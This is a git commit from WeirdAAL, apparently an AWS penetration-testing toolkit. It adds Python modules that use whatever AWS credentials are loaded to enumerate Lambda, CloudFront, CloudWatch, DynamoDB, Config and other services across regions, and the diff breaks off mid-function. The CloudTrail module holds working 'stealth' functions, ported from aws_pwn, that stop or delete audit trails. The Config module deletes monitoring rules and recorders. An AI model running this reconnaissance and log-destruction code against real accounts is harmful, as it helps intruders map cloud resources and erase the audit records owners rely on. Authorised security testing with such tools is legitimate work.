restructuring libs to be a bit more sane in terms of schema and so that we can split between aws and gcp

This commit is contained in:
cktricky
2018-09-25 17:03:38 -04:00
parent c0b20ad2de
commit dc3c20a937
58 changed files with 39 additions and 39 deletions

152
libs/aws/aws_lambda.py Normal file
View File

@@ -0,0 +1,152 @@
'''
Lambda functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_functions():
'''
List available lambda functions
'''
print("### Listing Lambda Functions ###")
try:
for region in regions:
client = boto3.client('lambda', region_name=region)
response = client.list_functions()
# print(response)
if response.get('Functions') is None:
print("{} likely does not have Lambda permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Functions']) <= 0:
print("[-] ListFunctions allowed for {} but no results [-]" .format(region))
else: # THIS PART IS UNTESTED
for r in response['Functions']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_event_source_mappings():
'''
List Lambda event source mappings
'''
print("### Listing Lambda Event Source Mappings ###")
try:
for region in regions:
client = boto3.client('lambda', region_name=region)
response = client.list_event_source_mappings()
if response.get('EventSourceMappings') is None:
print("{} likely does not have Lambda permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['EventSourceMappings']) <= 0:
print("[-] ListEventSourceMappings allowed for {} but no results [-]" .format(region))
else:
for r in response['EventSourceMappings']:
# for i in r['Instances']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def lambda_get_function(functionname, region):
'''
Returns the configuration information of the Lambda function and a presigned URL link to the .zip file you uploaded with CreateFunction so you can download the .zip file. Note that the URL is valid for up to 10 minutes. The configuration information is the same information you provided as parameters when uploading the function.
'''
print("### Attempting to get function {} ###".format(functionname))
try:
client = boto3.client('lambda', region_name=region)
response = client.get_function(FunctionName=functionname)
# print(response)
if response.get('Configuration') is None:
print("{} likely does not have Lambda permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Configuration']) <= 0:
print("[-] GetFunction allowed for {} but no results [-]" .format(region))
else:
print(response['Configuration'])
print("\n")
# print(response['Code'])
print("Download link for {}:{}".format(functionname, response['Code']['Location']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def lambda_get_account_settings():
'''
Returns Lambda account info
'''
print("### Attempting to get account settings ###")
try:
client = boto3.client('lambda')
response = client.get_account_settings()
# print(response)
if response.get('AccountLimit') is None:
print("{} likely does not have Lambda permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['AccountLimit']) <= 0:
print("[-] GetAccountSettings allowed for {} but no results [-]" .format(AWS_ACCESS_KEY_ID))
else:
print("AccountLimit:")
pp.pprint(response['AccountLimit'])
print("AccountUsage:")
pp.pprint(response['AccountUsage'])
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

1681
libs/aws/brute.py Normal file

File diff suppressed because it is too large Load Diff

52
libs/aws/ce.py Normal file
View File

@@ -0,0 +1,52 @@
'''
Cost Explorer functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def ce_get_cost_and_usage():
'''
Get cost and usage via cost explorer service - usually requires elevated prviliges
'''
try:
for region in regions:
client = boto3.client('ce', region_name=region)
response = client.get_cost_and_usage(TimePeriod={'Start': '2018-01-01', 'End': '2018-04-01'}, Granularity='MONTHLY', Metrics=["BlendedCost", "UnblendedCost", "UsageQuantity"],)
print(response)
# This module needs to be further tested
# if response.get('Services') is None:
# print("{} likely does not have Pricing permissions\n" .format(AWS_ACCESS_KEY_ID))
# elif len(response['Services']) <= 0:
# print("[-] Describe Pricing Services allowed for {} but no results [-]" .format(region))
# else:
# print("### {} Services ###" .format(region))
# for tables in response['ServiceCode']:
# pp.pprint(tables)
# print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('{} : (AccessDenied) when calling the Get Cost & Usage' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

54
libs/aws/cloudfront.py Normal file
View File

@@ -0,0 +1,54 @@
'''
Cloudfront libs for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def cloudfront_list_distributions():
'''
CloudFront list distributions
'''
print("### Printing CloudFront Distributions ###")
try:
for region in regions:
client = boto3.client('cloudfront', region_name=region)
response = client.list_distributions()
# print(response)
if response.get('DistributionList') is None:
print("{} likely does not have CloudFront permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['DistributionList']) <= 0:
print("[-] list_distributions allowed for {} but no results [-]" .format(region))
else:
print("### {} CloudFront Distributions ###" .format(region))
for dist in response['DistributionList']['Items']:
pp.pprint(dist)
# pp.pprint(dist['Items'][0])
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'EndpointConnectionError':
print("[-] Cant connect to the {} endpoint [-]" .format(region))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

175
libs/aws/cloudtrail.py Normal file
View File

@@ -0,0 +1,175 @@
'''
Cloudtrail functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-northeast-3', 'ap-south-1', 'ap-southeast-1', 'ap-southeast-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'sa-east-1']
# 'cn-north-1', 'cn-northwest-1', 'us-gov-west-1' throwing An error occurred (UnrecognizedClientException) when calling the DescribeTrails operation: The security token included in the request is invalid.
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def describe_trails():
'''
Describe CloudTrail Trails for each region
'''
print("### Printing CloudTrail DescribeTrails ###")
try:
for region in regions:
client = boto3.client('cloudtrail', region_name=region)
response = client.describe_trails()
if response['trailList'] is None:
print("{} likely does not have CloudTrail permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['trailList']) <= 0:
print("[-] ListTrails allowed for {} but no results [-]" .format(region))
else:
print("### {} CloudTrail Trails ###" .format(region))
for trail in response['trailList']:
pp.pprint(trail)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
# elif e.response['Error']['Code'] == 'UnrecognizedClientException':
# print('{} : UnrecognizedClientException error' .format(AWS_ACCESS_KEY_ID))
# pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
pass
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_public_keys():
'''
List public keys
'''
print("### Printing CloudTrail DescribeTrails ###")
try:
for region in regions:
client = boto3.client('cloudtrail', region_name=region)
response = client.list_public_keys()
if response['PublicKeyList'] is None:
print("{} likely does not have CloudTrail permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['PublicKeyList']) <= 0:
print("[-] PublicKeyList allowed for {} but no results [-]" .format(region))
else:
print("### {} CloudTrail Public Keys ###" .format(region))
for keys in response['PublicKeyList']:
pp.pprint(keys)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
pass
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def stop_trail(TrailARN):
'''
Stop a specified trailARN
Port of https://github.com/dagrz/aws_pwn/blob/master/stealth/disrupt_cloudtrail.py
'''
print("### Attempting to stop trail {} ###\n".format(TrailARN[0]))
try:
for region in regions:
client = boto3.client('cloudtrail', region_name=region)
response = client.describe_trails()
if response['trailList'] is None:
print("{} likely does not have CloudTrail permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['trailList']) <= 0:
print("[-] ListTrails allowed for {} but no results [-]" .format(region))
else:
for trail in response['trailList']:
HomeRegion = trail['HomeRegion']
myTrailARN = TrailARN[0]
# print(HomeRegion)
# print(myTrailARN)
client2 = boto3.client('cloudtrail', region_name=HomeRegion)
response = client2.stop_logging(Name=myTrailARN)
print(response)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
# elif e.response['Error']['Code'] == 'UnrecognizedClientException':
# print('{} : UnrecognizedClientException error' .format(AWS_ACCESS_KEY_ID))
# pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
pass
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def delete_trail(TrailARN):
'''
Delete a specified trailARN
Port of https://github.com/dagrz/aws_pwn/blob/master/stealth/disrupt_cloudtrail.py
'''
print("### Attempting to delete trail {} ###\n".format(TrailARN[0]))
try:
for region in regions:
client = boto3.client('cloudtrail', region_name=region)
response = client.describe_trails()
if response['trailList'] is None:
print("{} likely does not have CloudTrail permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['trailList']) <= 0:
print("[-] ListTrails allowed for {} but no results [-]" .format(region))
else:
for trail in response['trailList']:
HomeRegion = trail['HomeRegion']
myTrailARN = TrailARN[0]
# print(HomeRegion)
# print(myTrailARN)
client2 = boto3.client('cloudtrail', region_name=HomeRegion)
response = client2.delete_trail(Name=myTrailARN)
print(response)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
# elif e.response['Error']['Code'] == 'UnrecognizedClientException':
# print('{} : UnrecognizedClientException error' .format(AWS_ACCESS_KEY_ID))
# pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
pass
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

120
libs/aws/cloudwatch.py Normal file
View File

@@ -0,0 +1,120 @@
'''
Cloudwatch functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def cloudwatch_describe_alarms():
'''
Describe CloudWatch alarms
'''
print("### Printing Cloudwatch Alarm Information ###")
try:
for region in regions:
client = boto3.client('cloudwatch', region_name=region)
response = client.describe_alarms()
print("### {} Alarms ###" .format(region))
for alarm in response['MetricAlarms']:
pp.pprint(alarm)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def cloudwatch_describe_alarm_history():
'''
Describe CloudWatch Alarm History
'''
print("### Printing Cloudwatch Alarm History Information ###")
try:
for region in regions:
client = boto3.client('cloudwatch', region_name=region)
response = client.describe_alarm_history()
# print(response)
if response.get('AlarmHistoryItems') is None:
print("{} likely does not have cloudwatch permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['AlarmHistoryItems']) <= 0:
print("[-] DecribeAlarmHistory allowed for {} but no results [-]" .format(region))
else:
print("### {} Alarm History ###" .format(region))
for history_item in response['AlarmHistoryItems']:
pp.pprint(history_item)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def cloudwatch_list_metrics():
'''
List CloudWatch metrics
'''
print("### Printing Cloudwatch List Metrics ###")
try:
for region in regions:
client = boto3.client('cloudwatch', region_name=region)
response = client.list_metrics()
# print(response)
if response.get('Metrics') is None:
print("{} likely does not have cloudwatch permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Metrics']) <= 0:
print("[-] ListMetrics allowed for {} but no results [-]" .format(region))
else:
print("### Listing Metrics for {} ###" .format(region))
for metrics in response['Metrics']:
pp.pprint(metrics)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

180
libs/aws/config.py Normal file
View File

@@ -0,0 +1,180 @@
'''
Config functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def describe_configuration_recorders(region):
'''
Describe Config recorders
'''
try:
client = boto3.client("config", region_name=region)
response = client.describe_configuration_recorders()
region_name = "Region: %s\n" % region
print(region_name)
print("=" * len(region_name))
if not response['ConfigurationRecorders']:
print("No Recordings Found\n")
else:
for r in response['ConfigurationRecorders']:
for k, v in r.items():
print("%s: %s" % (k, v))
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'UnrecognizedClientException':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'AccessDenied':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_configuration_rules(region):
'''
Describe Config rules
'''
try:
client = boto3.client("config", region_name=region)
response = client.describe_config_rules()
region_name = "Region: %s" % region
print(region_name)
print("=" * len(region_name))
if not response['ConfigRules']:
print("No Rules Found\n")
else:
for r in response['ConfigRules']:
for k, v in r.items():
print("%s: %s" % (k, v))
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'UnrecognizedClientException':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'AccessDenied':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def delete_rule(rule_name, region):
'''
Attempt to delete the specified Config Rule
'''
try:
client = boto3.client("config", region_name=region)
client.delete_config_rule(ConfigRuleName=rule_name)
print("Successfully deleted %s from %s!" % (rule_name, region))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'UnrecognizedClientException':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'AccessDenied':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def delete_recorder(recorder_name, region):
'''
Attempt to delete the specified Config recorder
'''
try:
client = boto3.client("config", region_name=region)
client.delete_configuration_recorder(ConfigurationRecorderName=recorder_name)
print("Successfully deleted %s from %s!" % (recorder_name, region))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'UnrecognizedClientException':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'AccessDenied':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('[-] {} : does not have config access. Did you check first?' .format(AWS_ACCESS_KEY_ID))
pass
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_all_config_rules():
'''
Get config rules for each region
'''
for region in regions:
describe_configuration_rules(region)
def list_all_config_recorders():
'''
Get recorders for each region
'''
for region in regions:
describe_configuration_recorders(region)
def delete_config_rule(rule_name, region):
'''
delete config rule (makes sure you passed a rule name)
'''
if rule_name:
delete_rule(rule_name, region)
def delete_config_recorder(recorder_name, region):
'''
delete config recorder (makes sure you passed a recorder name)
'''
if recorder_name:
delete_recorder(recorder_name, region)

58
libs/aws/datapipeline.py Normal file
View File

@@ -0,0 +1,58 @@
'''
Datapipleine functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-west-2', 'eu-west-1', 'ap-northeast-1', 'ap-southeast-2', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def datapipeline_list_pipelines():
'''
Function to use the datapipeline boto3 library to list available pipelines
'''
print("### Printing Data Pipeline Pipelines ###")
try:
for region in regions:
client = boto3.client('datapipeline', region_name=region)
response = client.list_pipelines()
print("### {} Data Pipelines ###" .format(region))
if response.get('pipelineIdList') is None:
print("{} likely does not have Data Pipeline permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['pipelineIdList']) <= 0:
print("[-] ListPipelines allowed for {} but no results [-]" .format(region))
else:
print("### {} Data Pipelines ###" .format(region))
for pipes in response['pipelineIdList']:
pp.pprint(pipes)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

126
libs/aws/dynamodb.py Normal file
View File

@@ -0,0 +1,126 @@
'''
dynamoDB functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
import os
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_dynamodb_tables():
'''
Use dynamodb list_tables function to list table names
'''
print("### Printing DynamoDB Tables ###")
try:
for region in regions:
client = boto3.client('dynamodb', region_name=region)
response = client.list_tables()
if response.get('TableNames') is None:
print("{} likely does not have DynamoDB permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['TableNames']) <= 0:
print("[-] ListTables allowed for {} but no results [-]" .format(region))
else:
print("### {} DynamoDB Tables ###" .format(region))
for tables in response['TableNames']:
pp.pprint(tables)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_dynamodb_tables_detailed():
'''
Use dynamodb list_tables function to list table names and also attempt to describe each table from list_tables()
'''
print("### Printing DynamoDB Tables ###")
try:
for region in regions:
client = boto3.client('dynamodb', region_name=region)
response = client.list_tables()
if response.get('TableNames') is None:
print("{} likely does not have DynamoDB permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['TableNames']) <= 0:
print("[-] ListTables allowed for {} but no results [-]" .format(region))
else:
print("### {} DynamoDB Tables ###" .format(region))
for tables in response['TableNames']:
describe_table(tables, region)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_table(table, region):
'''
dynamodb attempt to read infromation from specified DynamoDB table
'''
print("### Describing DynamoDB Table: {} ###" .format(table))
try:
client = boto3.client('dynamodb', region_name=region)
response = client.describe_table(TableName=table)
if response.get('Table') is None:
print("{} likely does not have DynamoDB permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Table']) <= 0:
print("[-] DescribeTable allowed for {} but no results [-]" .format(region))
else:
print("TableArn: {}" .format(response['Table']['TableArn']))
